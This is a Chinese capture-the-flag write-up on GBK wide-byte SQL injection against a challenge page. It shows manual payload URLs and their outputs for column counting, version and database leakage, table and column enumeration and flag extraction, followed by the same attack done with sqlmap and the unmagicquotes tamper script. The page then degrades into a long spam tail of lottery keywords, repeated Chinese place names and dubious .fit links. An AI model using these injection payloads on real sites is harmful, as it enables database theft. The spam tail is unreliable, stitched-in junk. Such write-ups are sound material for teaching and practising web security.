(宽字节注入) 手注+sqlmap

            进入题目后先简单尝试一下。

            分享图片

             

            很明显的宽字节注入。

            宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

            手工注入
            1、判断列数:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
            order by 3 时报错,说明只有两列。

            2、各类信息:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
            [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

            3、库名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
            sae-chinalover

            4、表名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,group_concat(table_name)
            from information_schema.tables
            where table_schema=database()%23
            ctf,ctf2,ctf3,ctf4,news

            5、ctf4表的列名:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,group_concat(column_name)
            from information_schema.columns
            where table_name=0x63746634%23
            id,flag

            这里注意:要将表名ctf4转为16进制

            这里提供一个字符串转16进制的网站:

            http://www.5ixuexiwang.com/str/hex.php

            转了16进制之后记得在前面加上0x

            6、flag列的数据:
            http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
            union select 2,(select flag from ctf4)%23
            flag{this_is_sqli_flag}

            sqlmap跑法
            1、查看有哪些库:
            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
            这个时侯就要用到一个脚本了:

            脚本名:unmagicquotes.py

            作用:宽字符绕过

            分享图片

             

             

            2、表名:

            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

            分享图片

             

             

            3、列名:

            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

             分享图片

             

             

            4、flag列的数据:
            sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

            分享图片

            相关文章
            相关标签/搜索
            2020王中王资料一肖中2018年香港开奖日期表2018香港历史开奖结果香港最快开奖现场直播 昭觉县| 西华县| 日土县| 深州市| 岗巴县| 晋宁县| 云龙县| 石城县| 宁武县| 梨树县| 日喀则市| 庆城县| 温宿县| 三原县| 云林县| 调兵山市| 龙泉市| 白水县| 龙岩市| 洪雅县| 靖江市| 锦屏县| 会理县| 和顺县| 阿克| 武定县| 子长县| 乐业县| 瑞金市| 宁海县| 海林市| 延庆县| 普定县| 集贤县| 建宁县| 谷城县| 舞阳县| 渝北区| 长汀县| 公主岭市| 安泽县| 开化县| 明水县| 长治县| 邓州市| 民和| 麟游县| 涟源市| 大渡口区| 郓城县| 大方县| 丹寨县| 炉霍县| 临泉县| 当涂县| 屏东县| 仙居县| 尉犁县| 民权县| 辰溪县| 道真| 赣榆县| 广水市| 景泰县| 佳木斯市| 台中县| 交口县| 图木舒克市| 旺苍县| 山东省| 嘉兴市| 迁西县| 武义县| 什邡市| 邯郸市| 洛阳市| 阿坝县| 三河市| 陆川县| 宣化县| 海门市| 吴川市| 泸溪县| 黎川县| 开封县| 南丰县| 翁源县| 肇州县| 女性| 库伦旗| 台中县| 泰顺县| 雷州市| 聂荣县| 察隅县| 沙湾县| 前郭尔| 澳门| 陇西县| 贺兰县| 晋宁县| 来安县| 徐州市| SHOW| 剑川县| 安新县| 开江县| 梨树县| 西乌珠穆沁旗| 合山市| 茂名市| 梧州市| 三台县| 南宫市| 丰城市| 灌阳县| 武隆县| 兰西县| 巢湖市| 广丰县| 太仆寺旗| 锡林浩特市| 巫溪县| 稷山县| 安溪县| 吉安县| 兰溪市| 徐州市| 卢氏县| 泸溪县| 陆丰市| 义马市| 呼和浩特市| 盐源县| 宁津县| 读书| 师宗县| 朝阳县| 安阳县| 常德市| 五原县| 新疆| 册亨县| 百色市| 武隆县| 民权县| 苗栗县| 合江县| 嵊泗县| 青神县| 嫩江县| 日土县| 清流县| 莒南县| 平南县| 韩城市| 乌恰县| 松江区| 宁化县| 衡阳市| 衡阳市| 浙江省| 凤翔县| 龙南县| 英吉沙县| 建瓯市| 华池县| 武汉市| 星座| 石首市| 万宁市| 江永县| 崇仁县| 凤台县| 云梦县| 锦屏县| 美姑县| 武夷山市| 昌吉市| 安岳县| 花垣县| 长岭县| 石景山区| 黑龙江省| 井研县| 利川市| 金秀| 伊吾县| 林西县| 眉山市| 祥云县| 黑山县| 铁岭市| 兴安盟| 霍城县| 秭归县| 开封市| 汾阳市| 惠水县| 武邑县| 赣榆县| 桑植县| 新津县| 沾益县| 万源市| 子长县| 彭山县| 通许县| 南皮县| 禄丰县| 富锦市| 舞钢市| 元谋县| 通化市| 西平县| 建水县| 平顺县| 高邮市| 沂源县| 南平市| 壶关县| 武平县| 邮箱| 浠水县| 湖北省| 诸城市| 南平市| 吐鲁番市| 荥阳市| 灵丘县| 临武县| 平武县| 定日县| 晋州市| 旌德县| 鹤山市| 平南县| 星子县| 中牟县| 育儿| 新泰市| 都兰县| 贵州省| 车险| 中西区| 阿荣旗| 青岛市| 汉寿县| 唐海县| 灯塔市| 闽清县| 新巴尔虎右旗| 宁德市| 噶尔县| 菏泽市| 安吉县| 邹城市| 阜城县| 雅安市| 双牌县| 乌拉特中旗| 亳州市| 平定县| 济源市| 万山特区| 江川县| 临漳县| 长兴县| 友谊县| 建昌县| 石楼县| 安新县| 榆中县| 邯郸县| 筠连县| 连云港市| 镇康县| 嘉鱼县| 林周县| 额尔古纳市| 定结县| 乐安县| 东兰县| 佛冈县| 白河县| 巴楚县| 湘潭市| 邵阳市| 芦山县| 若尔盖县| 渝中区| 灌阳县| 上虞市| 卓尼县| 东乌珠穆沁旗| 札达县| 彩票| 镇原县| 栾城县| 正定县| 镇沅| 汾西县| 灵石县| 霞浦县| 永春县| 故城县| 三台县| 荃湾区| 烟台市| 福鼎市| 新津县| 霍城县| 泰兴市| 修武县| 黄浦区| 敦煌市| 华池县| 集安市| 武宣县| 长沙县| 五原县| 宕昌县| 武陟县| 新河县| 南澳县| 八宿县| 沂南县| 永靖县| 东乡族自治县| 虞城县| 武威市| 昭苏县| 磐安县| 怀宁县| 黑山县| 寿阳县| 汉沽区| 鄂温| 泰安市| 文化| 平阳县| 梁平县| 石城县| 兴仁县| 太仆寺旗| 三门峡市| 克拉玛依市| 泸州市| 景东| 淅川县| 阿巴嘎旗| 灵石县| 建阳市| 深圳市| 德化县| 澜沧| 桦川县| 石屏县| 苏尼特左旗| 迭部县| 新昌县| 陆河县| 忻城县| 毕节市| 青河县| 武清区| 海淀区| 沽源县| 崇文区| 西林县| 敖汉旗| 沾益县| 句容市| 丹棱县| 岫岩| 伊川县| 韶山市| 房山区| 宝应县| 招远市| 邵阳市| 丰县| 文化| 清镇市| 惠东县| 临武县| 巩义市| 合肥市| 五家渠市| 双桥区| 焦作市| 南涧| 汤原县| 石首市| 古蔺县| 军事| 凤山市| 托克托县| 荥阳市| 四川省| 堆龙德庆县| 太和县| 黄大仙区| 康马县| 岑巩县| 南城县| 宜兰县| 古蔺县| 伊春市| 涪陵区| 敖汉旗| 商水县| 安顺市| 木兰县| 神池县| 玉环县| 吉安市| 苍南县| 威海市| 濉溪县| 克什克腾旗| 胶南市| 大连市| 富宁县| 淳安县| 雅安市| 双鸭山市| 钟山县| 静宁县| 方山县| 宜黄县| 双流县| 尉氏县| 七台河市| 天门市| 江西省| 凤城市| 华池县| 平顶山市| 巴楚县| 福鼎市| 琼海市| 米泉市| 方山县| 商河县| 永宁县| 云浮市| 葵青区| 买车| 岳普湖县| 舒兰市| 新绛县| 深水埗区| 陕西省| 渝北区| 彭泽县| 东乌| 扶余县| 高雄市| 长汀县| 金沙县| 定西市| 营口市| 德兴市| 秭归县| 肥东县| 荆门市| 濮阳县| 信丰县| 额尔古纳市| 望奎县| 汽车| 得荣县| 龙海市| 乐亭县| 吐鲁番市| 湖州市| 大田县| 诏安县| 瑞丽市| 新密市| 修文县| 汾西县| 樟树市| 万安县| 巨野县| 来宾市| 宝丰县| 颍上县| 高清| 五华县| 金溪县| 彰化市| 韶关市| 闵行区| 陕西省| 鲁山县| 海城市| 轮台县| 庆安县| 鄢陵县| 金沙县| 汾阳市| 剑河县| 上思县| 阳新县| 常熟市| 金塔县| 日照市| 翼城县| 忻州市| 城口县| 枞阳县| 习水县| 台中市| 山东省| 金阳县| 类乌齐县| 桦南县| 郎溪县| 宜黄县| 温州市| 关岭| 安顺市| 剑阁县| 阳江市| 连城县| 华亭县| 公安县| 斗六市| 诸暨市| 尉氏县| 陆河县| 罗甸县| 延庆县| 开封市| 巴塘县| 台南市| 尚志市| 利川市| 宜章县| 大邑县| 安西县| 天等县| 隆化县| 保山市| 三河市| 宜春市| 资源县| 麦盖提县| 长治县| 上饶市| 美姑县| 伊吾县| 永昌县| 涪陵区| 天峻县| 衡南县| 清水河县| 延川县| 黔江区| 玉田县| 西华县| 青龙| 定州市| 依兰县| 闽清县| 扶沟县| 洛南县| 宁蒗| 安多县| 沙河市| 江都市| 陆丰市| 靖宇县| 五家渠市| 平定县| 峨边| 慈溪市| 曲松县| 凤城市| 张掖市| 东乌| 航空| 离岛区| 沁源县| 江阴市| 彰武县| 建德市| 诸暨市| 苏尼特右旗| 双鸭山市| 宁德市| 麻城市| 绍兴县| 镇安县| 饶河县| 禄丰县| 霸州市| 衡阳县| 绿春县| 桦川县| 年辖:市辖区| 万安县| 栾川县| 玛沁县| 平和县| 亳州市| 长沙县| 靖江市| 佳木斯市| 宁安市| 运城市| 昌江| 鹤峰县| http://flrosr.fit http://uxxjor.fit http://www.liayfa.fit http://www.sbudzr.fit http://www.rauxue.fit http://wap.jqewtd.fit http://www.snlhjh.fit http://m.mtyxhu.fit http://zyvhqo.fit http://m.dregka.fit http://wap.gjaicc.fit http://m.wtntrt.fit http://wap.nonizk.fit http://xrbndi.fit http://wap.bm1961xapz.fit http://www.mbaugo.fit http://xmuzlr.fit http://m.mwzkdf.fit